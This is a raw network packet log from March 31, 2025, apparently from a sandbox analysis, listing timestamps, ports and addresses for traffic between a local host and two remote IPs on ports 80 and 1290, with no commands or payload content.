Mar 31, 2025 14:08:18.727390051 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:18.727413893 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:18.727452993 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:18.727533102 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:19.016316891 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:19.016391039 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:08:19.016530991 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:08:19.131911993 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:19.132097006 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:08:19.246376991 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:19.561640978 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:19.561712980 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:19.829189062 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:19.829233885 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:19.829272032 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:19.829350948 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:20.058473110 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:20.058538914 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:20.058577061 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:20.058618069 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:20.283685923 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:20.283751011 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:20.529923916 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:20.530090094 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:20.751195908 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:20.751290083 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:21.033389091 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:21.033401966 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:21.033570051 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:21.033571005 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:21.326417923 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:21.326432943 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:21.326481104 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:21.326481104 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:21.551713943 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:21.551728010 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:21.551908016 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:21.551908016 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:21.827831030 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:21.827853918 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:21.828047991 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:21.828047991 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:22.053100109 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:22.053179026 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:22.053210020 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:22.053248882 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:22.326720953 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:22.326735020 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:22.326941967 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:22.326941967 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:22.551089048 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:22.551127911 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:22.551162004 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:22.551167965 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:22.551194906 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:22.551239967 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:22.551239967 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:22.551239967 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:22.776190042 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:22.776226044 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:22.776264906 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:22.776274920 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:22.776297092 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:22.776309013 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:22.776312113 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:22.776350975 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:23.026346922 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:23.026362896 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:23.026371956 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:23.026381969 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:23.026418924 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:23.026418924 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:23.026418924 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:23.026506901 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:23.252924919 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:23.252996922 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:23.253021955 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:23.253031015 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:23.253055096 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:23.253103971 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:23.259869099 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:23.259884119 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:23.259916067 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:23.303272009 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:23.352927923 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:23.553818941 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:23.576679945 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:23.826872110 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:23.826951981 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:23.832372904 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:24.021217108 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:24.021348000 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:08:24.021348000 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:08:24.058330059 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.058348894 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.058363914 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.058381081 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.058403969 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:24.058403969 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:24.058403969 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:24.058444023 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.058446884 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:24.058459997 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.058475018 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.058489084 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.058494091 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:24.058494091 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:24.058502913 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.058506966 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:24.058517933 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.058526993 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:24.058537960 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:24.058557987 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:24.139928102 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:24.140014887 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:08:24.326984882 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.327014923 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.327039957 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:24.327069998 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:24.330459118 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.330477953 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.330506086 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:24.330529928 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:24.333633900 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.333674908 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:24.333708048 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.333753109 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:24.354207993 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.354231119 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.354271889 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:24.354696989 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.354712963 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.354748964 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:24.363262892 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.371386051 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.371403933 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.371438980 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:24.371457100 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:24.371746063 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.371773005 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.371788025 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.371815920 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:24.371906996 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.372834921 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:24.471283913 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:08:24.556828976 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.556849003 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.557904005 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:24.564069986 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.564115047 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.565146923 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:24.589145899 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:24.637312889 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.637339115 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.638370991 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:24.780468941 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.780495882 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.784060955 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:24.789890051 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.789911985 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.792057991 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:24.796060085 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:24.927948952 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.927977085 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:24.929028988 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.028963089 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.028991938 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.029057026 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.029057026 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.029087067 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.029103994 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.029129028 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.029129028 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.155385971 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.155414104 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.155473948 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.155473948 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.255026102 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.255049944 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.255091906 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.255100965 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.255100965 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.255109072 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.255146980 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.255147934 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.378691912 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.378776073 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.378820896 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.378838062 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.378854036 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.378865957 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.378889084 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.378926992 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.481519938 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.481575012 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.481610060 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.481641054 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.481662989 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.481730938 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.481762886 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.482661009 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.483009100 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.483042955 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.484074116 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.628186941 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.628242016 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.628297091 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.628297091 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.628298044 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.671293974 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.725750923 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.725856066 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.725907087 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.725945950 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.725959063 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.725982904 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.725986004 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.726016998 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.726048946 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.726052046 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.726058960 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.726084948 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.726089954 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.726160049 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.852775097 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.852813005 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.852835894 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.852853060 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.852869987 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.852885962 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.852919102 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.852919102 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.852919102 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.852919102 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.852919102 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.852919102 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.932157993 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.932193041 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.932235956 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.932235956 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.947854996 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.947882891 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.947902918 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.947909117 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.947922945 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.947925091 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.947937012 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.947940111 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.947957039 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.947959900 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.947968006 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.947997093 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.948007107 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:25.948050976 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:25.987212896 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:26.076102018 CEST	48270	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:26.324460030 CEST	80	48270	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:26.324594021 CEST	48270	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:26.326560974 CEST	48270	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:26.743346930 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:26.827744961 CEST	80	48268	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:26.827872038 CEST	48268	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:27.031290054 CEST	48270	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:27.242328882 CEST	80	48270	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:27.242435932 CEST	48270	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:27.247431993 CEST	48270	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:27.254142046 CEST	80	48270	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:27.382180929 CEST	48272	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:27.625504971 CEST	80	48272	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:27.625579119 CEST	48272	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:27.627177000 CEST	48272	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:27.857722998 CEST	80	48272	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:27.858381987 CEST	80	48272	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:27.858436108 CEST	48272	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:27.862088919 CEST	48272	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:27.952913046 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:28.119277000 CEST	48270	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:28.127604008 CEST	80	48272	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:28.127695084 CEST	48272	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:28.148109913 CEST	80	48270	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:28.148272991 CEST	48270	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:28.344093084 CEST	80	48270	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:28.983278990 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.019768000 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:29.019994020 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:08:29.135725021 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:29.135867119 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:08:29.232790947 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.232928038 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.234563112 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.250256062 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:29.462244987 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.462903023 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.462956905 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.462979078 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.463009119 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.463087082 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.463100910 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.463112116 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.463116884 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.463121891 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.463126898 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.463138103 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.463151932 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.463151932 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.463159084 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.463165998 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.463191032 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.463222027 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.463283062 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.463284969 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.463315964 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.724838018 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.724862099 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.724891901 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.724921942 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.725001097 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.725030899 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.725039959 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.725048065 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.725260973 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.725276947 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.725291014 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.725327015 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.725327015 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.725342989 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.725358963 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.725373030 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.725388050 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.725402117 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.725418091 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.725433111 CEST	80	48274	217.156.66.6	192.168.2.13
